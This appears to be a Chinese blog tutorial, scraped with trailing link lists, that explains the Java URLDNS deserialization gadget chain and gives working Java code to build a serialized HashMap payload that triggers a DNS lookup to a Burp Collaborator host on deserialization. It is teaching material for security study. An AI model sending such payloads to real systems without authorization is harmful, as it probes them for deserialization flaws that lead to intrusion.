URLDNS利用链
原理
Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:
- [1] 只能发起 DNS 请求,不能进行其它利用。
- [2] 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
- [3] 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。
过程分析
需要发起Http请求,Java中URL类与Http请求相关并且URL类实现了Serializable接口,URL类中是通过调用openConnection方法实现。

跟进返回中的openConnection可以看到返回的是URLConnection对象。

继续跟进URLConnection,发现是一个抽象类,接着查看实现这个抽象类的类,发现是不可序列化的,那么这条链不可用。
但是发现URL这个类中存在hashCode()函数可以利用。

跟进handler.hashCode函数,发现这个函数中使用了getHostAddress()函数,而getHostAddress()函数可以根据域名获得主机IP地址。

至此,我们可以通过调用hashCode()函数中的getHostAddress()来实现反序列化。

而HashMap类中重写了readObject方法,其中调用了hash()函数,hash()函数中也调用了hashCode()函数。

如此一来,当我们构造出一个HashMap对象,并向这个对象的键中传入URL,那么在反序列化时,这个URL会被读为key接着传入hash()函数中,在hash()函数中调用hashCode(),这样就调用了一个URL对象的hashCode()函数。

接下来构造利用代码:
package org.example;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://v95hskl5p6aksnq95w4sydb2vt1jp8.burpcollaborator.net"),1);
serialize(hashMap);
}
}
其中,URL链接使用burpsuite生成:


构造完代码之后,运行序列化代码。

此时发现,在我们还没有反序列化时就已经收到了DNS请求,这是因为在使用put()函数的时候,在put()函数中已经调用了hash()函数,进而调用了hashCode()函数。

想到之前我们在URL的hashCode()函数中看到当hashCode != -1时就不会调用hashCode()函数,而在我们进行完put操作之后hashCode != -1,所以在反序列化时就不会再执行hashCode()函数了。

想要在反序列化时调用hashCode()就需要在put操作之前使得hashCode不等于-1,put操作之后将hashCode再改回-1。要改变一个已经生成对象中的值就需要使用Java的反射技术。
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://rzu085lu0ds2w583u7jglucds4yumj.burpcollaborator.net");
Class c = url.getClass();
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url, 1);
hashMap.put(url, 1);
hashcodeField.set(url, -1);
serialize(hashMap);
}
}
这样再进行序列化的时候就收不到DNS请求了,然后进行反序列化,可以看到在反序列化时收到了请求。
反序列化操作:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
unserialize("ser.bin");
}
}

URLDNS利用链的更多相关文章
- URLDNS反序列化链学习
URLDNS URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包. 1.利用链 * Gadget Chain: * Has ...
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- commons-collections利用链学习总结
目录 1 基础 ConstantTransformer InvokeTransformer ChainedTransformer LazyMap TiedMapEntry TransformingCo ...
- JDK原生反序列化利用链7u21
前言 JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单- 7u ...
- fastjson反序列化-JdbcRowSetImpl利用链
fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...
- Apache Common-collection 反序列化利用链解析--TransformedMap链
Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...
- 深入剖析CVE-2021-40444-Cabless利用链
背景 CVE-2021-40444为微软MHTML远程命令执行漏洞,攻击者可通过传播Microsoft Office文档,诱导目标点击文档从而在目标机器上执行任意代码.该漏洞最初的利用思路是使用下载c ...
- TemplatesImpl利用链
FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
- CB利用链及无依赖打Shiro
前言 前面已经学习了CC1到CC7的利用链,其中在CC2中认识了java.util.PriorityQueue ,它在Java中是一个优先队列,队列中每一个元素有自己的优先级.在反序列化这个对象时,为 ...
随机推荐
- PAC主成分分析__784手写特征案例
from sklearn.neighbors import KNeighborsClassifier as KNN from sklearn.decomposition import PCA from ...
- 教你用Rust实现Smpp协议
本文分享自华为云社区<华为云短信服务教你用Rust实现Smpp协议>,作者: 张俭. 协议概述 SMPP(Short Message Peer-to-Peer)协议起源于90年代,最初由A ...
- Python中用With open as 实现对文件的操作
with open as f在Python中用来读写文件(夹). 基本写法如下: with open(文件名,模式)as f: f.write(内容)#写操作 例:with open ('这个文章.t ...
- 【framework】WMS启动流程
1 前言 WMS 是 WindowManagerService 的简称. (1)WMS 主要职责 窗口管理:负责启动.添加.删除窗口,管理窗口大小.层级,核心成员有:WindowContainer ...
- [BUUCTF][WEB][极客大挑战 2019]Upload 1
打开靶机url,看到一个页面可以上传文件 上传一个图片试一下,发现上传的路径是 http://a7661b03-4852-41de-9ea4-d48c47cb50f0.node4.buuoj.cn:8 ...
- go语言编程常见问题
在Goland中运行单元测试报错Error: Cannot find package 如下图,在Goland中运行单元测试时报错:"Error: Cannot find package&qu ...
- 小程序中用css修改svg的颜色
记一下(#^.^#) <div class="svg"> <img src="./firefox-logo.svg" class=" ...
- rename重命名
[root@liuwei test]# ls 11.txt 12.txt 13.txt 14.txt 15.txt 16.txt 17.txt 18.txt 19.txt 1.txt 20.txt 2 ...
- django中使用celery异步发送邮件
申请163网易发送邮件权限 在django中settings配置文件 #配置邮件服务器 EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBac ...
- 被 AI 替代应该就在不远的将来
提问:golang 各种图片 转 webp 代码 一秒之后...... package main import ( "fmt" "image" "im ...